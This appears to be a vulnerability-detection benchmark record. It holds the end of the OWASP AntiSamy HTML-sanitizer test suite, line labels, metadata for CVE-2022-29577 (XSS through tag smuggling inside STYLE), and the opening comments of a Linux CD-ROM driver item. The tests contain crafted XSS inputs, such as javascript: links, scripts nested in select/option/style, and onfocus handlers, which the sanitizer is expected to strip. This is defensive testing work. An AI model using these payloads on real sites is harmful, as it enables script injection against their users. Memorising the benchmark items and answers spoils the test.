AntiSamy.SAX)\n .getCleanHTML(), not(containsString(\"<?foo\")));", " assertThat(as.scan(\"<?xml-stylesheet type=\\\"text/css\\\" href=\\\"style.css\\\"?>\", policy, AntiSamy.DOM).getCleanHTML(), is(\"\"));\n assertThat(as.scan(\"<?xml-stylesheet type=\\\"text/css\\\" href=\\\"style.css\\\"?>\", policy, AntiSamy.SAX).getCleanHTML(), is(\"\"));", " } catch (Exception exc) {\n fail(exc.getMessage());\n }\n }", " @Test\n public void testGithubIssue81() throws ScanException, PolicyException {\n // Concern is that \"!important\" is missing after processing CSS\n assertThat(as.scan(\"<p style=\\\"color: red !important\\\">Some Text</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"!important\"));\n assertThat(as.scan(\"<p style=\\\"color: red !important\\\">Some Text</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"!important\"));", " // Just to check scan keeps working accordingly without \"!important\"\n assertThat(as.scan(\"<p style=\\\"color: red\\\">Some Text</p>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"!important\")));\n assertThat(as.scan(\"<p style=\\\"color: red\\\">Some Text</p>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"!important\")));\n }", " @Test\n public void entityReferenceEncodedInHtmlAttribute() throws ScanException, PolicyException {\n // Concern is that \"&\" is not being encoded and \"#00058\" was not being interpreted as \":\"\n // so the validations based on regexp passed and a browser would load \"&:\" together.\n // All this when not using the XHTML serializer.", " // UPDATE: Using a new HTML parser library starts decoding entities like #00058\n Policy revised = policy.cloneWithDirective(\"useXHTML\",\"false\");\n assertThat(as.scan(\"<p><a href=\\\"javascript&#00058x=1,%61%6c%65%72%74%28%22%62%6f%6f%6d%22%29\\\">xss</a></p>\", revised, AntiSamy.DOM).getCleanHTML(),\n not(containsString(\"javascript\")));\n assertThat(as.scan(\"<p><a href=\\\"javascript&#00058x=1,%61%6c%65%72%74%28%22%62%6f%6f%6d%22%29\\\">xss</a></p>\", revised, AntiSamy.SAX).getCleanHTML(),\n not(containsString(\"javascript\")));\n }", " @Test\n public void testGithubIssue99() throws ScanException, PolicyException {\n // Test that the IANA subtags is not lost\n assertThat(as.scan(\"<p lang=\\\"en-GB\\\">This paragraph is defined as British English.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"lang=\\\"en-GB\\\"\"));\n assertThat(as.scan(\"<p lang=\\\"en-GB\\\">This paragraph is defined as British English.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"lang=\\\"en-GB\\\"\"));\n }", " @Test\n public void testGithubIssue101() throws ScanException, PolicyException {\n // Test that margin attribute is not removed when value has too much significant figures.\n // Current behavior is that decimals like 0.0001 are internally translated to 1.0E-4, this\n // is reflected on regex validation and actual output. The inconsistency is due to Batik CSS.\n assertThat(as.scan(\"<p style=\\\"margin: 0.0001pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 0.0001pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 10000000pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 10000000pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E-4pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"margin\"));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E-4pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"margin\"));\n // When using exponential directly the \"e\" or \"E\" is internally considered as the start of\n // the dimension/unit type. This creates inconsistencies that make the regex validation fail,\n // also in cases like 1e4pt where \"e\" is considered as dimension instead of \"pt\".\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E+4pt;\\\">Some text.</p>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"margin\")));\n assertThat(as.scan(\"<p style=\\\"margin: 1.0E+4pt;\\\">Some text.</p>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"margin\")));\n }", " @Test\n public void testCSSUnits() throws ScanException, PolicyException {\n String input = \"<div style=\\\"width:50vw;height:50vh;padding:1rpc;\\\">\\n\" +\n \"\\t<p style=\\\"font-size:1.5ex;padding-left:1rem;padding-top:16px;\\\">Some text.</p>\\n\" +\n \"</div>\";\n CleanResults cr = as.scan(input, policy, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(\"ex\"));\n assertThat(cr.getCleanHTML(), containsString(\"px\"));\n assertThat(cr.getCleanHTML(), containsString(\"rem\"));\n assertThat(cr.getCleanHTML(), containsString(\"vw\"));\n assertThat(cr.getCleanHTML(), containsString(\"vh\"));\n assertThat(cr.getCleanHTML(), not(containsString(\"rpc\")));\n cr = as.scan(input, policy, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), containsString(\"ex\"));\n assertThat(cr.getCleanHTML(), containsString(\"px\"));\n assertThat(cr.getCleanHTML(), containsString(\"rem\"));\n assertThat(cr.getCleanHTML(), containsString(\"vw\"));\n assertThat(cr.getCleanHTML(), containsString(\"vh\"));\n assertThat(cr.getCleanHTML(), not(containsString(\"rpc\")));\n }", " @Test\n public void testXSSInsideSelectOptionStyle() throws ScanException, PolicyException {\n // Tests for CVE-2021-42575, XSS nested into <select>+<option>+<style>", " // Safe case, to test legit style\n assertThat(as.scan(\"<select><option><style>h1{color:black;}</style></option></select>\", policy, AntiSamy.DOM).getCleanHTML(), containsString(\"black\"));\n assertThat(as.scan(\"<select><option><style>h1{color:black;}</style></option></select>\", policy, AntiSamy.SAX).getCleanHTML(), containsString(\"black\"));\n // Unsafe case\n assertThat(as.scan(\"<select><option><style><script>alert(1)</script></style></option></select>\", policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<script>\")));\n assertThat(as.scan(\"<select><option><style><script>alert(1)</script></style></option></select>\", policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<script>\")));\n }", " @Test\n public void testImportedStylesParsing() throws ScanException, PolicyException {\n // Test that imported style sheets can be parsed and order is correct\n final String input = \"<style type='text/css'>\\n\" +\n \"\\t@import url(https://raw.githubusercontent.com/nahsra/antisamy/main/src/test/resources/s/slashdot.org_files/classic.css);\\n\" +\n \"\\t@import url(https://raw.githubusercontent.com/nahsra/antisamy/main/src/test/resources/s/slashdot.org_files/providers.css);\\n\" +\n \"\\t.very-specific-antisamy {font: 15pt \\\"Arial\\\"; color: blue;}\\n\" +\n \"</style>\";\n Policy revised = policy.cloneWithDirective(Policy.EMBED_STYLESHEETS,\"true\").cloneWithDirective(Policy.FORMAT_OUTPUT,\"false\");\n // Styles are imported\n String cleanHtmlDOM = as.scan(input, revised, AntiSamy.DOM).getCleanHTML();\n String cleanHtmlSAX = as.scan(input, revised, AntiSamy.SAX).getCleanHTML();\n assertThat(cleanHtmlDOM, not(containsString(\"<![CDATA[/* */]]>\")));\n assertThat(cleanHtmlSAX, not(containsString(\"<![CDATA[/* */]]>\")));\n // Order is correct:\n // First import: grid_1 class\n // Second import: janrain-provider150-sprit class\n // Original styles: very-specific-antisamy class\n final Pattern p = Pattern.compile(\".*?\\\\.grid_1.*?\\\\.janrain-provider150-sprit.*?\\\\.very-specific-antisamy.*?\", Pattern.DOTALL);\n assertThat(cleanHtmlDOM, MatchesPattern.matchesPattern(p));\n assertThat(cleanHtmlSAX, MatchesPattern.matchesPattern(p));", " Policy revised2 = policy.cloneWithDirective(Policy.EMBED_STYLESHEETS,\"false\").cloneWithDirective(Policy.FORMAT_OUTPUT,\"false\");\n // Styles are not imported\n cleanHtmlDOM = as.scan(input, revised2, AntiSamy.DOM).getCleanHTML();\n cleanHtmlSAX = as.scan(input, revised2, AntiSamy.SAX).getCleanHTML();\n assertThat(cleanHtmlDOM, not(containsString(\".grid_1\")));\n assertThat(cleanHtmlSAX, not(containsString(\".grid_1\")));\n assertThat(cleanHtmlDOM, not(containsString(\".janrain-provider150-sprit\")));\n assertThat(cleanHtmlSAX, not(containsString(\".janrain-provider150-sprit\")));\n }", " @Test\n public void testNoopenerAndNoreferrer() throws ScanException, PolicyException {\n Map<String, Attribute> map = new HashMap<>();\n map.put(\"target\", new Attribute(\"a\", Collections.<Pattern>emptyList(), Arrays.asList( \"_blank\", \"_self\" ), \"\",\"\"));\n map.put(\"rel\", new Attribute(\"a\", Collections.<Pattern>emptyList(), Arrays.asList( \"nofollow\", \"noopener\", \"noreferrer\"), \"\",\"\"));\n Tag tag = new Tag(\"a\", map, Policy.ACTION_VALIDATE);\n Policy basePolicy = policy.mutateTag(tag);\n Policy revised = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"true\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"true\");\n // No target=\"_blank\", so only nofollow can be added.\n assertThat(as.scan(\"<a>Link text</a>\", revised, AntiSamy.DOM).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n assertThat(as.scan(\"<a>Link text</a>\", revised, AntiSamy.SAX).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n // target=\"_blank\", can have both.\n assertThat(as.scan(\"<a target=\\\"_blank\\\">Link text</a>\", revised, AntiSamy.DOM).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n assertThat(as.scan(\"<a target=\\\"_blank\\\">Link text</a>\", revised, AntiSamy.SAX).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));", " Policy revised2 = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"false\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"true\");\n // No target=\"_blank\", no rel added.\n assertThat(as.scan(\"<a>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // target=\"_blank\", everything present.\n assertThat(as.scan(\"<a target='_blank' rel='nofollow'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n assertThat(as.scan(\"<a target='_blank' rel='nofollow'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), containsString(\"nofollow noopener noreferrer\"));\n // target=\"_self\", no rel added.\n assertThat(as.scan(\"<a target='_self'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a target='_self'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // target=\"_self\", only nofollow present.\n assertThat(as.scan(\"<a target='_self' rel='nofollow'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n assertThat(as.scan(\"<a target='_self' rel='nofollow'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML(), both(containsString(\"nofollow\")).and(not(containsString(\"noopener noreferrer\"))));\n // noopener is not repeated\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised2, AntiSamy.DOM).getCleanHTML().split(\"noopener\").length, is(2));\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised2, AntiSamy.SAX).getCleanHTML().split(\"noopener\").length, is(2));", " Policy revised3 = basePolicy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW,\"false\").cloneWithDirective(Policy.ANCHORS_NOOPENER_NOREFERRER,\"false\");\n // No rel added\n assertThat(as.scan(\"<a>Link text</a>\", revised3, AntiSamy.DOM).getCleanHTML(), not(containsString(\"rel=\")));\n assertThat(as.scan(\"<a>Link text</a>\", revised3, AntiSamy.SAX).getCleanHTML(), not(containsString(\"rel=\")));\n // noopener is not repeated\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised3, AntiSamy.DOM).getCleanHTML().split(\"noopener\").length, is(2));\n assertThat(as.scan(\"<a target='_blank' rel='noopener'>Link text</a>\", revised3, AntiSamy.SAX).getCleanHTML().split(\"noopener\").length, is(2));\n }", " @Test\n public void testLeadingDashOnPropertyName() throws ScanException, PolicyException {\n // Test that property names with leading dash are supported, reported on issue #125.\n final String input = \"<style type='text/css'>\\n\" +\n \"\\t.very-specific-antisamy { -moz-border-radius: inherit ; -webkit-border-radius: 25px 10px 5px 10px;}\\n\" +\n \"</style>\";\n // Define new properties for the policy\n Pattern customPattern = Pattern.compile(\"\\\\d+(\\\\.\\\\d+)?px( \\\\d+(\\\\.\\\\d+)?px){0,3}\", Pattern.DOTALL);\n Property leadingDashProperty1 = new Property(\"-webkit-border-radius\", Arrays.asList(customPattern), Collections.<String>emptyList(),Collections.<String>emptyList(),\"\",\"\");\n Property leadingDashProperty2 = new Property(\"-moz-border-radius\", Collections.<Pattern>emptyList(), Arrays.asList(\"inherit\"),Collections.<String>emptyList(),\"\",\"\");\n Policy revised = policy.addCssProperty(leadingDashProperty1).addCssProperty(leadingDashProperty2);\n // Test properties\n assertThat(as.scan(input, revised, AntiSamy.DOM).getCleanHTML(), both(containsString(\"-webkit-border-radius\")).and(containsString(\"-moz-border-radius\")));\n assertThat(as.scan(input, revised, AntiSamy.SAX).getCleanHTML(), both(containsString(\"-webkit-border-radius\")).and(containsString(\"-moz-border-radius\")));\n }", " @Test\n public void testScansWithDifferentPolicyLoading() throws ScanException, PolicyException, URISyntaxException {\n final String input = \"<span>text</span>\";\n // Preload policy, do not specify scan type.\n AntiSamy asInstance = new AntiSamy(policy);\n assertThat(asInstance.scan(input).getCleanHTML(), is(input));\n // Pass policy, assume DOM scan type.\n assertThat(asInstance.scan(input, policy).getCleanHTML(), is(input));\n // Pass policy as File.\n File policyFile = new File(getClass().getResource(\"/antisamy.xml\").toURI());\n assertThat(asInstance.scan(input, policyFile).getCleanHTML(), is(input));\n // Pass policy filename.\n String path = getClass().getResource(\"/antisamy.xml\").getPath();\n path = System.getProperty(\"file.separator\").equals(\"\\\\\") && path.startsWith(\"/\") ? path.substring(1) : path;\n assertThat(asInstance.scan(input, path).getCleanHTML(), is(input));\n // No preloaded nor passed policy, expected to fail.\n try {\n as.scan(input, null, AntiSamy.DOM);\n fail(\"Scan with no policy must have thrown an exception.\");\n } catch (PolicyException e) {\n // An error is expected. Pass.\n }\n }", " @Test\n public void testGithubIssue151() throws ScanException, PolicyException {\n // Concern is error messages when parsing stylesheets are no longer returned in AntiSamy 1.6.5\n String input = \"<img style=\\\"FLOAT: right; CURSOR: hand\\\" src=\\\"http://site.com/pic.jpg\\\" />\";", " CleanResults result = as.scan(input, policy, AntiSamy.DOM);\n assertThat(result.getErrorMessages().size(), is(1));\n assertThat(result.getCleanHTML(), both(containsString(\"img\")).and(not(containsString(\"CURSOR\"))));", " result = as.scan(input, policy, AntiSamy.SAX);\n assertThat(result.getErrorMessages().size(), is(1));\n assertThat(result.getCleanHTML(), both(containsString(\"img\")).and(not(containsString(\"CURSOR\"))));\n }", " @Test\n public void testSmuggledTagsInStyleContent() throws ScanException, PolicyException {\n // HTML tags may be smuggled into a style tag after parsing input to an internal representation.\n // If that happens, they should be treated as text content and not as children nodes.", " Policy revised = policy.cloneWithDirective(Policy.USE_XHTML,\"true\");\n assertThat(as.scan(\"<style/>b<![cdata[</style><a href=javascript:alert(1)>test\", revised, AntiSamy.DOM).getCleanHTML(), not(containsString(\"javascript\")));\n assertThat(as.scan(\"<style/>b<![cdata[</style><a href=javascript:alert(1)>test\", revised, AntiSamy.SAX).getCleanHTML(), not(containsString(\"javascript\")));", " assertThat(as.scan(\"<select<style/>k<input<</>input/onfocus=alert(1)>\", revised, AntiSamy.DOM).getCleanHTML(), not(containsString(\"input\")));\n assertThat(as.scan(\"<select<style/>k<input<</>input/onfocus=alert(1)>\", revised, AntiSamy.SAX).getCleanHTML(), not(containsString(\"input\")));", "\n Policy revised2 = policy.cloneWithDirective(Policy.USE_XHTML,\"false\");\n assertThat(as.scan(\"<select<style/>W<xmp<script>alert(1)</script>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"script\")));\n assertThat(as.scan(\"<select<style/>W<xmp<script>alert(1)</script>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"script\")));", " assertThat(as.scan(\"<select<style/>k<input<</>input/onfocus=alert(1)>\", revised2, AntiSamy.DOM).getCleanHTML(), not(containsString(\"input\")));\n assertThat(as.scan(\"<select<style/>k<input<</>input/onfocus=alert(1)>\", revised2, AntiSamy.SAX).getCleanHTML(), not(containsString(\"input\")));", " }", " @Test(timeout = 3000)\n public void testMalformedPIScan() {\n // Certain malformed input including a malformed processing instruction may lead the parser to an internal memory error.\n try {\n as.scan(\"<!--><?a/\", policy, AntiSamy.DOM).getCleanHTML();\n as.scan(\"<!--><?a/\", policy, AntiSamy.SAX).getCleanHTML();\n } catch (ScanException ex) {\n // It is OK, internal parser should fail.\n } catch (Exception ex) {\n fail(\"Parser should not throw a non-ScanException\");\n }\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [454, 1719], "buggy_code_start_loc": [410, 1715], "filenames": ["src/main/java/org/owasp/validator/html/scan/AntiSamyDOMScanner.java", "src/test/java/org/owasp/validator/html/test/AntiSamyTest.java"], "fixing_code_end_loc": [451, 1724], "fixing_code_start_loc": [410, 1716], "message": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:antisamy_project:antisamy:*:*:*:*:*:*:*:*", "matchCriteriaId": "A2700372-2AF6-4FD7-B284-2C32001E0153", "versionEndExcluding": "1.6.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D26F3E23-F1A9-45E7-9E5F-0C0A24EE3783", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:enterprise_manager_base_platform:13.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E8758C8-87D3-450A-878B-86CE8C9FC140", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. The output serializer does not properly encode the supposed Cascading Style Sheets (CSS) content. NOTE: this issue exists because of an incomplete fix for CVE-2022-28367."}, {"lang": "es", "value": "OWASP AntiSamy versiones anteriores a 1.6.7, permite un ataque de tipo XSS por medio de contrabando de etiquetas HTML en contenido STYLE con entrada dise\u00f1ada. El serializador de salida no codifica correctamente el supuesto contenido de las hojas de estilo en cascada (CSS). NOTA: este problema se presenta debido a una correcci\u00f3n incompleta de CVE-2022-28367"}], "evaluatorComment": null, "id": "CVE-2022-29577", "lastModified": "2023-02-23T18:47:00.307", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-21T23:15:10.467", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://github.com/nahsra/antisamy/releases/tag/v1.6.7"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nahsra/antisamy/commit/32e273507da0e964b58c50fd8a4c94c9d9363af0"}, "type": "CWE-79"}
130
Determine whether the {function_name} code is vulnerable or not.
[ "/* linux/drivers/cdrom/cdrom.c\n Copyright (c) 1996, 1997 David A. van Leeuwen.\n Copyright (c) 1997, 1998 Erik Andersen <andersee@debian.org>\n Copyright (c) 1998, 1999 Jens Axboe <axboe@image.dk>", " May be copied or modified under the terms of the GNU General Public\n License. See linux/COPYING for more information.", " Uniform CD-ROM driver for Linux.\n See Documentation/cdrom/cdrom-standard.tex for usage information.", " The routines in the file provide a uniform interface between the\n software that uses CD-ROMs and the various low-level drivers that\n actually talk to the hardware. Suggestions are welcome.\n Patches that work are more welcome though. ;-)", " To Do List:\n ----------------------------------", " -- Modify sysctl/proc interface. I plan on having one directory per\n drive, with entries for outputing general drive information, and sysctl\n based tunable parameters such as whether the tray should auto-close for\n that drive. Suggestions (or patches) for this welcome!", "\n Revision History\n ----------------------------------\n 1.00 Date Unknown -- David van Leeuwen <david@tm.tno.nl>\n -- Initial version by David A. van Leeuwen. I don't have a detailed\n changelog for the 1.x series, David?", "2.00 Dec 2, 1997 -- Erik Andersen <andersee@debian.org>\n -- New maintainer! As David A. van Leeuwen has been too busy to actively\n maintain and improve this driver, I am now carrying on the torch. If\n you have a problem with this driver, please feel free to contact me.", " -- Added (rudimentary) sysctl interface. I realize this is really weak\n right now, and is _very_ badly implemented. It will be improved...", " -- Modified CDROM_DISC_STATUS so that it is now incorporated into\n the Uniform CD-ROM driver via the cdrom_count_tracks function.\n The cdrom_count_tracks function helps resolve some of the false\n assumptions of the CDROM_DISC_STATUS ioctl, and is also used to check\n for the correct media type when mounting or playing audio from a CD.", " -- Remove the calls to verify_area and only use the copy_from_user and\n copy_to_user stuff, since these calls now provide their own memory\n checking with the 2.1.x kernels.", " -- Major update to return codes so that errors from low-level drivers\n are passed on through (thanks to Gerd Knorr for pointing out this\n problem).", " -- Made it so if a function isn't implemented in a low-level driver,\n ENOSYS is now returned instead of EINVAL.", " -- Simplified some complex logic so that the source code is easier to read.", " -- Other stuff I probably forgot to mention (lots of changes).", "2.01 to 2.11 Dec 1997-Jan 1998\n -- TO-DO! Write changelogs for 2.01 to 2.12.", "2.12 Jan 24, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in the IOCTL_IN and IOCTL_OUT macros. It turns out that\n copy_*_user does not return EFAULT on error, but instead returns the number \n of bytes not copied. I was returning whatever non-zero stuff came back from \n the copy_*_user functions directly, which would result in strange errors.", "2.13 July 17, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in CDROM_SELECT_SPEED where you couldn't lower the speed\n of the drive. Thanks to Tobias Ringstr|m <tori@prosolvia.se> for pointing\n this out and providing a simple fix.\n -- Fixed the procfs-unload-module bug with the fill_inode procfs callback.\n thanks to Andrea Arcangeli\n -- Fixed it so that the /proc entry now also shows up when cdrom is\n compiled into the kernel. Before it only worked when loaded as a module.", " 2.14 August 17, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in cdrom_media_changed and handling of reporting that\n the media had changed for devices that _don't_ implement media_changed. \n Thanks to Grant R. Guenther <grant@torque.net> for spotting this bug.\n -- Made a few things more pedanticly correct.", "2.50 Oct 19, 1998 - Jens Axboe <axboe@image.dk>\n -- New maintainers! Erik was too busy to continue the work on the driver,\n so now Chris Zwilling <chris@cloudnet.com> and Jens Axboe <axboe@image.dk>\n will do their best to follow in his footsteps\n \n 2.51 Dec 20, 1998 - Jens Axboe <axboe@image.dk>\n -- Check if drive is capable of doing what we ask before blindly changing\n cdi->options in various ioctl.\n -- Added version to proc entry.\n \n 2.52 Jan 16, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed an error in open_for_data where we would sometimes not return\n the correct error value. Thanks Huba Gaspar <huba@softcell.hu>.\n -- Fixed module usage count - usage was based on /proc/sys/dev\n instead of /proc/sys/dev/cdrom. This could lead to an oops when other\n modules had entries in dev. Feb 02 - real bug was in sysctl.c where\n dev would be removed even though it was used. cdrom.c just illuminated\n that bug.\n \n 2.53 Feb 22, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixup of several ioctl calls, in particular CDROM_SET_OPTIONS has\n been \"rewritten\" because capabilities and options aren't in sync. They\n should be...\n -- Added CDROM_LOCKDOOR ioctl. Locks the door and keeps it that way.\n -- Added CDROM_RESET ioctl.\n -- Added CDROM_DEBUG ioctl. Enable debug messages on-the-fly.\n -- Added CDROM_GET_CAPABILITY ioctl. This relieves userspace programs\n from parsing /proc/sys/dev/cdrom/info.\n \n 2.54 Mar 15, 1999 - Jens Axboe <axboe@image.dk>\n -- Check capability mask from low level driver when counting tracks as\n per suggestion from Corey J. Scotts <cstotts@blue.weeg.uiowa.edu>.\n \n 2.55 Apr 25, 1999 - Jens Axboe <axboe@image.dk>\n -- autoclose was mistakenly checked against CDC_OPEN_TRAY instead of\n CDC_CLOSE_TRAY.\n -- proc info didn't mask against capabilities mask.\n \n 3.00 Aug 5, 1999 - Jens Axboe <axboe@image.dk>\n -- Unified audio ioctl handling across CD-ROM drivers. A lot of the\n code was duplicated before. Drives that support the generic packet\n interface are now being fed packets from here instead.\n -- First attempt at adding support for MMC2 commands - for DVD and\n CD-R(W) drives. Only the DVD parts are in now - the interface used is\n the same as for the audio ioctls.\n -- ioctl cleanups. if a drive couldn't play audio, it didn't get\n a change to perform device specific ioctls as well.\n 